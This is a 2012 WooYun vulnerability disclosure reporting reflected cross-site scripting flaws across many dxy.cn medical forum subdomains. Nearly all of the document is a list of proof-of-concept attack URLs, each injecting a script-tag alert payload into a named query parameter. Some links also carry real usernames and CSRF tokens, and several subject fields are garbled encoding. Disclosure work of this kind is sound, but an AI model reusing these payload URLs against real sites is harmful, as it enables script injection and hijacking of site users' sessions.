漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-05094
漏洞标题：丁香园XSS大礼包
相关厂商：丁香园
漏洞作者： zeracker
提交时间：2012-03-07 14:46
修复时间：2012-04-21 14:47
公开时间：2012-04-21 14:47
漏洞类型：xss跨站脚本攻击
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-03-07： 细节已通知厂商并且等待厂商处理中
2012-03-07： 厂商已经确认，细节仅向厂商公开
2012-03-17： 细节向核心白帽子及相关领域专家公开
2012-03-27： 细节向普通白帽子公开
2012-04-06： 细节向实习白帽子公开
2012-04-21： 细节向公众公开
简要描述：
丁香园的一个XSS大礼包，小菜不才，手上累计只有这么多。跟你们官方的人员拿到了相关部门的联系方式，联系没有任何回复。没办法，果断被忽视了。
不多说了，我刚刚整理都花了1个多小时。xss都给你们吧，至少他们对你们来说，不止这20点rank。
一个个整理多个发，我就那样做了，禁止刷分行为。具体看详解。
详细说明：
丁香园所有站815个XSS大礼包
https://auth.dxy.cn/auth.do?id='"><script>alert(301);</script><"&service=http://www.dxy.cn
http://www.dxy.cn/bbs/user/whatsnew?ct='"><script>alert(301);</script><"
http://happy.dxy.cn/bbs/topic/21232194?ct='"><script>alert(301);</script><"
http://labmed.dxy.cn/bbs/topic/22217955?ct='"><script>alert(301);</script><"
http://job.dxy.cn/bbs/topic/22371419?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22365183?ct='"><script>alert(301);</script><"
http://cardiovascular.dxy.cn/bbs/topic/22351725?ct='"><script>alert(301);</script><"
http://ophthalmology.dxy.cn/bbs/topic/22351098?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22372447?ct='"><script>alert(301);</script><"
http://radiology.dxy.cn/bbs/topic/22340224?ct='"><script>alert(301);</script><"
http://radiology.dxy.cn/bbs/topic/22332057?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22357296?ct='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/topic/22184933?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22315564?ticket='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22315564?ticket=ST-2389757-cLdwoXqKigjuzG3ziYrsWmsFQ0xxRCQThP0-20&ct='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/topic/22344120?ct='"><script>alert(301);</script><"
http://happy.dxy.cn/bbs/topic/22310253?ct='"><script>alert(301);</script><"
http://happy.dxy.cn/bbs/topic/22311341?ct='"><script>alert(301);</script><"
http://happy.dxy.cn/bbs/topic/22337453?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22142517?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22226481?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22330911?ct='"><script>alert(301);</script><"
http://oversea.dxy.cn/bbs/topic/22316397?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22259808?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/topic/22339359?ct='"><script>alert(301);</script><"
http://job.dxy.cn/bbs/topic/22337456?ct='"><script>alert(301);</script><"
http://job.dxy.cn/bbs/topic/21821850?ct='"><script>alert(301);</script><"
http://job.dxy.cn/bbs/topic/22355880?ct='"><script>alert(301);</script><"
http://job.dxy.cn/bbs/topic/22275492?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/topic/22162468?ct='"><script>alert(301);</script><"
http://job.dxy.cn/bbs/topic/22264490?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22097159?ct='"><script>alert(301);</script><"
http://job.dxy.cn/bbs/topic/22246286?ct='"><script>alert(301);</script><"
http://job.dxy.cn/bbs/topic/22348669?ct='"><script>alert(301);</script><"
http://cancer.dxy.cn/bbs/post/page?bid=87&sty='"><script>alert(301);</script><"&age=30
http://cancer.dxy.cn/bbs/thread/22215237?ct='"><script>alert(301);</script><"
http://cancer.dxy.cn/bbs/thread/22189111?ct='"><script>alert(301);</script><"
http://cancer.dxy.cn/bbs/thread/22189637?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22316902?ct='"><script>alert(301);</script><"
http://cancer.dxy.cn/bbs/post/page?bid=87&sty=1&age='"><script>alert(301);</script><"
http://cancer.dxy.cn/bbs/post/page?bid=87&sty=1&age=30&ct='"><script>alert(301);</script><"
http://cardiovascular.dxy.cn/bbs/post/page?bid=47&sty='"><script>alert(301);</script><"&age=30
http://cardiovascular.dxy.cn/bbs/thread/21648961?ct='"><script>alert(301);</script><"
http://cardiovascular.dxy.cn/bbs/thread/21605883?ct='"><script>alert(301);</script><"
http://cardiovascular.dxy.cn/bbs/thread/21608785?ct='"><script>alert(301);</script><"
http://cardiovascular.dxy.cn/bbs/post/page?bid=47&sty=1&age='"><script>alert(301);</script><"
http://cardiovascular.dxy.cn/bbs/post/page?bid=47&sty=1&age=30&ct='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/post/page?bid=50&sty='"><script>alert(301);</script><"&age=30
http://guke.dxy.cn/bbs/post/page?bid=50&sty=1&age='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/post/page?bid=50&sty=1&age=30&ct='"><script>alert(301);</script><"
http://article.dxy.cn/bbs/thread/22349098?ct='"><script>alert(301);</script><"
http://article.dxy.cn/bbs/thread/22346276?ct='"><script>alert(301);</script><"
http://article.dxy.cn/bbs/post/page?bid=45&sty='"><script>alert(301);</script><"&age=30
http://www.dxy.cn/bbs/thread/22317013?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/thread/22322726?ct='"><script>alert(301);</script><"
http://article.dxy.cn/bbs/thread/22337310?ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/thread/22339991?ct='"><script>alert(301);</script><"
http://article.dxy.cn/bbs/post/page?bid=45&sty=1&age='"><script>alert(301);</script><"
http://article.dxy.cn/bbs/post/page?bid=45&sty=1&age=30&ct='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/thread/22234903?ct='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/thread/22237921?ct='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/thread/22240160?ct='"><script>alert(301);</script><"
http://computer.dxy.cn/bbs/thread/22283616?ct='"><script>alert(301);</script><"
http://computer.dxy.cn/bbs/thread/22217096?ct='"><script>alert(301);</script><"
http://computer.dxy.cn/bbs/thread/22289069?ct='"><script>alert(301);</script><"
http://computer.dxy.cn/bbs/thread/22283473?ct='"><script>alert(301);</script><"
http://computer.dxy.cn/bbs/post/page?bid=10&sty='"><script>alert(301);</script><"&age=30
http://computer.dxy.cn/bbs/thread/22054244?ct='"><script>alert(301);</script><"
http://computer.dxy.cn/bbs/thread/22123968?ct='"><script>alert(301);</script><"
http://computer.dxy.cn/bbs/thread/22247435?ct='"><script>alert(301);</script><"
http://computer.dxy.cn/bbs/thread/22239982?ct='"><script>alert(301);</script><"
http://computer.dxy.cn/bbs/thread/22088116?ct='"><script>alert(301);</script><"
http://computer.dxy.cn/bbs/thread/22272143?ct='"><script>alert(301);</script><"
http://endocrine.dxy.cn/bbs/post/page?bid=92&tpg='"><script>alert(301);</script><"&s=0&age=0&order=0
http://computer.dxy.cn/bbs/post/page?bid=10&sty=1&age='"><script>alert(301);</script><"
http://endocrine.dxy.cn/bbs/post/page?bid=92&tpg=3&s='"><script>alert(301);</script><"&age=0&order=0
http://computer.dxy.cn/bbs/post/page?bid=10&sty=1&age=30&ct='"><script>alert(301);</script><"
http://endocrine.dxy.cn/bbs/post/page?bid=92&tpg=3&s=0&age='"><script>alert(301);</script><"&order=0
http://endocrine.dxy.cn/bbs/thread/22134495?ct='"><script>alert(301);</script><"
http://endocrine.dxy.cn/bbs/thread/22217739?ct='"><script>alert(301);</script><"
http://endocrine.dxy.cn/bbs/thread/22067131?ct='"><script>alert(301);</script><"
http://endocrine.dxy.cn/bbs/post/page?bid=92&tpg=3&s=0&age=0&order='"><script>alert(301);</script><"
http://endocrine.dxy.cn/bbs/post/page?bid=92&tpg=3&s=0&age=0&order=0&ct='"><script>alert(301);</script><"
http://neuro.dxy.cn/bbs/post/page?bid=46&sty='"><script>alert(301);</script><"&age=30
http://neuro.dxy.cn/bbs/post/page?bid=46&sty=1&age='"><script>alert(301);</script><"
http://neuro.dxy.cn/bbs/post/page?bid=46&sty=1&age=30&ct='"><script>alert(301);</script><"
http://d.dxy.cn/detail/2468703?username='"><script>alert(301);</script><"&bid=46&subject=缂鸿鎬у崚涓鍘嬫帶鍒舵柊灞曟湜鈥斺€�2011&csrfToken=9bebcaa8-f330-4199-a9a4-ec5d42143de3&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2468703?username=wangminchao&bid='"><script>alert(301);</script><"&subject=缂鸿鎬у崚涓鍘嬫帶鍒舵柊灞曟湜鈥斺€�2011&csrfToken=9bebcaa8-f330-4199-a9a4-ec5d42143de3&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2468703?username=wangminchao&bid=46&subject='"><script>alert(301);</script><"&csrfToken=9bebcaa8-f330-4199-a9a4-ec5d42143de3&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2468703?username=wangminchao&bid=46&subject=缂鸿鎬у崚涓鍘嬫帶鍒舵柊灞曟湜鈥斺€�2011&csrfToken='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2468703?username=wangminchao&bid=46&subject=缂鸿鎬у崚涓鍘嬫帶鍒舵柊灞曟湜鈥斺€�2011&csrfToken=9bebcaa8-f330-4199-a9a4-ec5d42143de3&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://neuro.dxy.cn/bbs/thread/22250738?ct='"><script>alert(301);</script><"
http://d.dxy.cn/detail/2468703?username=wangminchao&bid=46&subject=缂鸿鎬у崚涓鍘嬫帶鍒舵柊灞曟湜鈥斺€�2011&csrfToken=9bebcaa8-f330-4199-a9a4-ec5d42143de3&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://neuro.dxy.cn/bbs/thread/22220243?ct='"><script>alert(301);</script><"
http://neuro.dxy.cn/bbs/thread/22223120?ct='"><script>alert(301);</script><"
http://d.dxy.cn/detail/2468703?username=wangminchao&bid=46&subject=缂鸿鎬у崚涓鍘嬫帶鍒舵柊灞曟湜鈥斺€�2011&csrfToken=9bebcaa8-f330-4199-a9a4-ec5d42143de3&action=Delete&fileId=0&limit='"><script>alert(3787033);</script><"
http://hepatology.dxy.cn/bbs/post/page?bid=146&sty='"><script>alert(301);</script><"&age=30
http://hepatology.dxy.cn/bbs/thread/22170049?ct='"><script>alert(301);</script><"
http://hepatology.dxy.cn/bbs/thread/22108915?ct='"><script>alert(301);</script><"
http://hepatology.dxy.cn/bbs/thread/22177339?ct='"><script>alert(301);</script><"
http://hepatology.dxy.cn/bbs/post/page?bid=146&sty=1&age='"><script>alert(301);</script><"
http://hepatology.dxy.cn/bbs/post/page?bid=146&sty=1&age=30&ct='"><script>alert(301);</script><"
http://happy.dxy.cn/bbs/thread/22080946?ct='"><script>alert(301);</script><"
http://happy.dxy.cn/bbs/thread/22080560?ct='"><script>alert(301);</script><"
http://law.dxy.cn/bbs/thread/22302472?ct='"><script>alert(301);</script><"
http://happy.dxy.cn/bbs/thread/22080786?ct='"><script>alert(301);</script><"
http://happy.dxy.cn/bbs/thread/22096910?ct='"><script>alert(3017);</script><"
http://law.dxy.cn/bbs/thread/22332340?ct='"><script>alert(301);</script><"
http://law.dxy.cn/bbs/thread/22315278?ct='"><script>alert(301);</script><"
http://happy.dxy.cn/bbs/post/page?bid=15&sty='"><script>alert(301);</script><"&age=30
http://happy.dxy.cn/bbs/post/page?bid=15&sty=1&age='"><script>alert(301);</script><"
http://happy.dxy.cn/bbs/post/page?bid=15&sty=1&age=30&ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/thread/22352614?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/thread/22355470?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/post/page?bid=114&sty='"><script>alert(301);</script><"&age=0
http://xdrug.dxy.cn/bbs/thread/22325695?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/thread/22325271?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/thread/22330620?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/thread/22197931?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/thread/22361535?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/thread/22318746?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/thread/22330481?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/thread/21973722?ct='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/post/page?bid=114&sty=1&age='"><script>alert(301);</script><"
http://xdrug.dxy.cn/bbs/post/page?bid=114&sty=1&age=0&ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/18756019?done='"><script>alert(301);</script><"&ct=ae1d305d-1873-47ad-91c9-92f38a7d6a52
http://www.dxy.cn/bbs/topic/18756019?done=/bbs/topic/18756019&ct='"><script>alert(301);</script><"
http://nursing.dxy.cn/bbs/topic/22104390?done='"><script>alert(301);</script><"&ct=3566033a-ad12-43f5-a96f-e58e92d909ff
http://www.dxy.cn/bbs/topic/22108917?done='"><script>alert(301);</script><"&ct=14760dd2-e200-4e63-9422-9d44d3503dea
http://ultrasound.dxy.cn/bbs/topic/22197088?done='"><script>alert(301);</script><"&ct=e92dd7c3-f5c2-4d4a-95d3-f9909b937d10
http://prs.dxy.cn/bbs/topic/22138533?done='"><script>alert(301);</script><"&ct=2b6d9d95-7c33-4e7a-bdb1-d15484bdd85b
http://nursing.dxy.cn/bbs/topic/22104390?done=/bbs/topic/22104390&ct='"><script>alert(301);</script><"
http://www.dxy.cn/bbs/topic/22108917?done=/bbs/topic/22108917&ct='"><script>alert(301);</script><"
http://urology.dxy.cn/bbs/topic/22097072?done='"><script>alert(301);</script><"&ct=0180324e-5e1e-4fb5-88d9-63e3cd5ce1c6
http://ultrasound.dxy.cn/bbs/topic/22197088?done=/bbs/topic/22197088&ct='"><script>alert(301);</script><"
http://surgeon.dxy.cn/bbs/topic/22130397?done='"><script>alert(301);</script><"&ct=21cdbf4f-5643-4b7f-bb0a-d1a7578ca9e5
http://english.dxy.cn/bbs/topic/22105488?done='"><script>alert(301);</script><"&ct=3e5c95a4-d434-4052-ac8b-771e6020bd8a
http://nursing.dxy.cn/bbs/topic/22086394?done='"><script>alert(301);</script><"&ct=f03ce941-3f4e-44f0-82e0-5a9a61ff5f34
http://urology.dxy.cn/bbs/topic/22097072?done=/bbs/topic/22097072&ct='"><script>alert(301);</script><"
http://cardiovascular.dxy.cn/bbs/topic/22118384?done='"><script>alert(301);</script><"&ct=e5e48718-7f19-4cac-84c3-885082baa3d7
http://prs.dxy.cn/bbs/topic/22138533?done=/bbs/topic/22138533&ct='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/topic/22111245?done='"><script>alert(301);</script><"&ct=a7c24ebe-2431-4045-a544-5e3f8bf2c25c
http://surgeon.dxy.cn/bbs/topic/22130397?done=/bbs/topic/22130397&ct='"><script>alert(301);</script><"
http://nursing.dxy.cn/bbs/topic/22086394?done=/bbs/topic/22086394&ct='"><script>alert(301);</script><"
http://english.dxy.cn/bbs/topic/22105488?done=/bbs/topic/22105488&ct='"><script>alert(301);</script><"
http://cardiovascular.dxy.cn/bbs/topic/22118384?done=/bbs/topic/22118384&ct='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/topic/22111245?done=/bbs/topic/22111245&ct='"><script>alert(301);</script><"
http://d.dxy.cn/search?done='"><script>alert(301);</script><"&ct=302c47e3-4089-4c0d-a088-22b50cbbf8ca
http://d.dxy.cn/search?done=/bbs/file/search&ct='"><script>alert(301);</script><"
http://d.dxy.cn/limitedTime?done='"><script>alert(301);</script><"&ct=d969d4e0-3573-46cc-902f-fe92d0b62f25
http://d.dxy.cn/ranking?done='"><script>alert(301);</script><"&ct=d1b8fd6f-0cd2-4a9c-8736-bf63a5763d04
http://d.dxy.cn/detail/4009168?username='"><script>alert(301);</script><"&bid=188&subject=浜氬お鍦板尯闈為潤鑴夋洸寮犳€т笂娑堝寲閬撳嚭琛€涓撳鍏辫瘑鎰忚瑙ｈ锛堜竴銆佷簩锛�&csrfToken=f5752d2b-44e9-4527-b5c2-3bf1d5ca5281&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2467959?username='"><script>alert(301);</script><"&bid=80&subject=鏅掓檼鎴戜腑鏍囩殑鍑犱唤鍥藉鑷劧绉戝鍩洪噾鏍囦功&csrfToken=b27fa8dd-a778-44c9-8797-e5a6e431404c&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2475896?username='"><script>alert(301);</script><"&subject=鍗敓閮ㄣ€婇绠＄檶璇婃不鎸囧崡銆嬶紙2011鐗堬級&csrfToken=62f3a31c-8636-42c4-86dc-c74653b0377d&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4007323?username='"><script>alert(301);</script><"&bid=50&subject=2012AAOS浼氳鎽樿&csrfToken=593117b1-1c69-4653-a099-42f29892ae32&action=Delete&fileId=0&limit=0
http://d.dxy.cn/uploads?done='"><script>alert(301);</script><"&ct=051b12cb-dc25-43ff-abd1-27e94d259bb9
http://d.dxy.cn/detail/2463701?username='"><script>alert(301);</script><"&bid=80&subject=鍥藉鑷劧鍩洪噾鐢宠涔﹀啓浣滆娉ㄦ剰鐨勫嚑涓棶棰�&csrfToken=78393a5a-9976-49f9-b4b9-2276ee247c92&action=Delete&fileId=0&limit=0
http://d.dxy.cn/ranking?done=/bbs/file/ranking&ct='"><script>alert(301);</script><"
http://d.dxy.cn/limitedTime?done=/bbs/file/limitedTime&ct='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4009168?username=涓崕娑堝寲鏉傚織&bid='"><script>alert(301);</script><"&subject=浜氬お鍦板尯闈為潤鑴夋洸寮犳€т笂娑堝寲閬撳嚭琛€涓撳鍏辫瘑鎰忚瑙ｈ锛堜竴銆佷簩锛�&csrfToken=f5752d2b-44e9-4527-b5c2-3bf1d5ca5281&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2467959?username=binpda&bid='"><script>alert(301);</script><"&subject=鏅掓檼鎴戜腑鏍囩殑鍑犱唤鍥藉鑷劧绉戝鍩洪噾鏍囦功&csrfToken=b27fa8dd-a778-44c9-8797-e5a6e431404c&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4007323?username=hotstone&bid='"><script>alert(301);</script><"&subject=2012AAOS浼氳鎽樿&csrfToken=593117b1-1c69-4653-a099-42f29892ae32&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2475896?username=鍏夊厜鍐�&bid=58&subject='"><script>alert(301);</script><"&csrfToken=62f3a31c-8636-42c4-86dc-c74653b0377d&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4042029?username='"><script>alert(301);</script><"&bid=131&subject=2007鑽晱杩涗慨绉�-鐜嬭緣&csrfToken=986d0446-853a-4215-8d75-494e3825960b&action=Delete&fileId=0&limit=0
http://d.dxy.cn/uploads?done=/bbs/file/uploads&ct='"><script>alert(301);</script><"
http://d.dxy.cn/detail/2463701?username=guodanni&bid='"><script>alert(301);</script><"&subject=鍥藉鑷劧鍩洪噾鐢宠涔﹀啓浣滆娉ㄦ剰鐨勫嚑涓棶棰�&csrfToken=78393a5a-9976-49f9-b4b9-2276ee247c92&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4042022?username='"><script>alert(301);</script><"&bid=137&subject=鎴戝浗鍎跨鎬ユ晳浣撶郴寤鸿鐜扮姸涓庡彂灞曟€濊€�&csrfToken=aae693cf-2b28-4fea-990d-dc1b4019894e&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4009168?username=涓崕娑堝寲鏉傚織&bid=188&subject='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4042032?username='"><script>alert(301);</script><"&bid=137&subject=鏂扮敓鍎挎憾琛€鐥�&csrfToken=ec716f6d-3b36-4dd4-9cf4-11b1d340024b&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2467959?username=binpda&bid=80&subject='"><script>alert(301);</script><"&csrfToken=b27fa8dd-a778-44c9-8797-e5a6e431404c&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4007323?username=hotstone&bid=50&subject='"><script>alert(301);</script><"&csrfToken=593117b1-1c69-4653-a099-42f29892ae32&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4042029?username=liudehua1234024&bid='"><script>alert(301);</script><"&subject=2007鑽晱杩涗慨绉�-鐜嬭緣&csrfToken=986d0446-853a-4215-8d75-494e3825960b&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2475896?username=鍏夊厜鍐�&bid=58&subject=鍗敓閮ㄣ€婇绠＄檶璇婃不鎸囧崡銆嬶紙2011鐗堬級&csrfToken='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2463701?username=guodanni&bid=80&subject='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4009168?username=涓崕娑堝寲鏉傚織&bid=188&subject=浜氬お鍦板尯闈為潤鑴夋洸寮犳€т笂娑堝寲閬撳嚭琛€涓撳鍏辫瘑鎰忚瑙ｈ锛堜竴銆佷簩锛�&csrfToken=f5752d2b-44e9-4527-b5c2-3bf1d5ca5281&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4042032?username=zhn926&bid='"><script>alert(301);</script><"&subject=鏂扮敓鍎挎憾琛€鐥�&csrfToken=ec716f6d-3b36-4dd4-9cf4-11b1d340024b&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4042022?username=wanggxy28&bid='"><script>alert(301);</script><"&subject=鎴戝浗鍎跨鎬ユ晳浣撶郴寤鸿鐜扮姸涓庡彂灞曟€濊€�&csrfToken=aae693cf-2b28-4fea-990d-dc1b4019894e&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4042029?username=liudehua1234024&bid=131&subject='"><script>alert(301);</script><"&csrfToken=986d0446-853a-4215-8d75-494e3825960b&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2467959?username=binpda&bid=80&subject=鏅掓檼鎴戜腑鏍囩殑鍑犱唤鍥藉鑷劧绉戝鍩洪噾鏍囦功&csrfToken='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4007323?username=hotstone&bid=50&subject=2012AAOS浼氳鎽樿&csrfToken='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4042020?username='"><script>alert(301);</script><"&bid=46&subject=鏉ュ緱鏃�&csrfToken=bec9291b-18a4-4e70-aa2d-520d8d1466e9&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2475896?username=鍏夊厜鍐�&bid=58&subject=鍗敓閮ㄣ€婇绠＄檶璇婃不鎸囧崡銆嬶紙2011鐗堬級&csrfToken=62f3a31c-8636-42c4-86dc-c74653b0377d&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/2463701?username=guodanni&bid=80&subject=鍥藉鑷劧鍩洪噾鐢宠涔﹀啓浣滆娉ㄦ剰鐨勫嚑涓棶棰�&csrfToken=78393a5a-9976-49f9-b4b9-2276ee247c92&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4009168?username=涓崕娑堝寲鏉傚織&bid=188&subject=浜氬お鍦板尯闈為潤鑴夋洸寮犳€т笂娑堝寲閬撳嚭琛€涓撳鍏辫瘑鎰忚瑙ｈ锛堜竴銆佷簩锛�&csrfToken=f5752d2b-44e9-4527-b5c2-3bf1d5ca5281&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4042032?username=zhn926&bid=137&subject='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4042029?username=liudehua1234024&bid=131&subject=2007鑽晱杩涗慨绉�-鐜嬭緣&csrfToken='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4007323?username=hotstone&bid=50&subject=2012AAOS浼氳鎽樿&csrfToken=593117b1-1c69-4653-a099-42f29892ae32&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4042022?username=wanggxy28&bid=137&subject='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2475896?username=鍏夊厜鍐�&bid=58&subject=鍗敓閮ㄣ€婇绠＄檶璇婃不鎸囧崡銆嬶紙2011鐗堬級&csrfToken=62f3a31c-8636-42c4-86dc-c74653b0377d&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4009168?username=涓崕娑堝寲鏉傚織&bid=188&subject=浜氬お鍦板尯闈為潤鑴夋洸寮犳€т笂娑堝寲閬撳嚭琛€涓撳鍏辫瘑鎰忚瑙ｈ锛堜竴銆佷簩锛�&csrfToken=f5752d2b-44e9-4527-b5c2-3bf1d5ca5281&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/2463701?username=guodanni&bid=80&subject=鍥藉鑷劧鍩洪噾鐢宠涔﹀啓浣滆娉ㄦ剰鐨勫嚑涓棶棰�&csrfToken=78393a5a-9976-49f9-b4b9-2276ee247c92&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4007323?username=hotstone&bid=50&subject=2012AAOS浼氳鎽樿&csrfToken=593117b1-1c69-4653-a099-42f29892ae32&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4042020?username=jiaqing5604128&bid='"><script>alert(301);</script><"&subject=鏉ュ緱鏃�&csrfToken=bec9291b-18a4-4e70-aa2d-520d8d1466e9&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4042032?username=zhn926&bid=137&subject=鏂扮敓鍎挎憾琛€鐥�&csrfToken=ec716f6d-3b36-4dd4-9cf4-11b1d340024b&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/2475896?username=鍏夊厜鍐�&bid=58&subject=鍗敓閮ㄣ€婇绠＄檶璇婃不鎸囧崡銆嬶紙2011鐗堬級&csrfToken=62f3a31c-8636-42c4-86dc-c74653b0377d&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4042029?username=liudehua1234024&bid=131&subject=2007鑽晱杩涗慨绉�-鐜嬭緣&csrfToken=986d0446-853a-4215-8d75-494e3825960b&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/2467959?username=binpda&bid=80&subject=鏅掓檼鎴戜腑鏍囩殑鍑犱唤鍥藉鑷劧绉戝鍩洪噾鏍囦功&csrfToken=b27fa8dd-a778-44c9-8797-e5a6e431404c&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4042022?username=wanggxy28&bid=137&subject=鎴戝浗鍎跨鎬ユ晳浣撶郴寤鸿鐜扮姸涓庡彂灞曟€濊€�&csrfToken=aae693cf-2b28-4fea-990d-dc1b4019894e&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/2463701?username=guodanni&bid=80&subject=鍥藉鑷劧鍩洪噾鐢宠涔﹀啓浣滆娉ㄦ剰鐨勫嚑涓棶棰�&csrfToken=78393a5a-9976-49f9-b4b9-2276ee247c92&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4042032?username=zhn926&bid=137&subject=鏂扮敓鍎挎憾琛€鐥�&csrfToken=ec716f6d-3b36-4dd4-9cf4-11b1d340024b&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4042029?username=liudehua1234024&bid=131&subject=2007鑽晱杩涗慨绉�-鐜嬭緣&csrfToken=986d0446-853a-4215-8d75-494e3825960b&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4042020?username=jiaqing5604128&bid=46&subject='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/2467959?username=binpda&bid=80&subject=鏅掓檼鎴戜腑鏍囩殑鍑犱唤鍥藉鑷劧绉戝鍩洪噾鏍囦功&csrfToken=b27fa8dd-a778-44c9-8797-e5a6e431404c&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4007323?username=hotstone&bid=50&subject=2012AAOS浼氳鎽樿&csrfToken=593117b1-1c69-4653-a099-42f29892ae32&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4042022?username=wanggxy28&bid=137&subject=鎴戝浗鍎跨鎬ユ晳浣撶郴寤鸿鐜扮姸涓庡彂灞曟€濊€�&csrfToken=aae693cf-2b28-4fea-990d-dc1b4019894e&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4042032?username=zhn926&bid=137&subject=鏂扮敓鍎挎憾琛€鐥�&csrfToken=ec716f6d-3b36-4dd4-9cf4-11b1d340024b&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
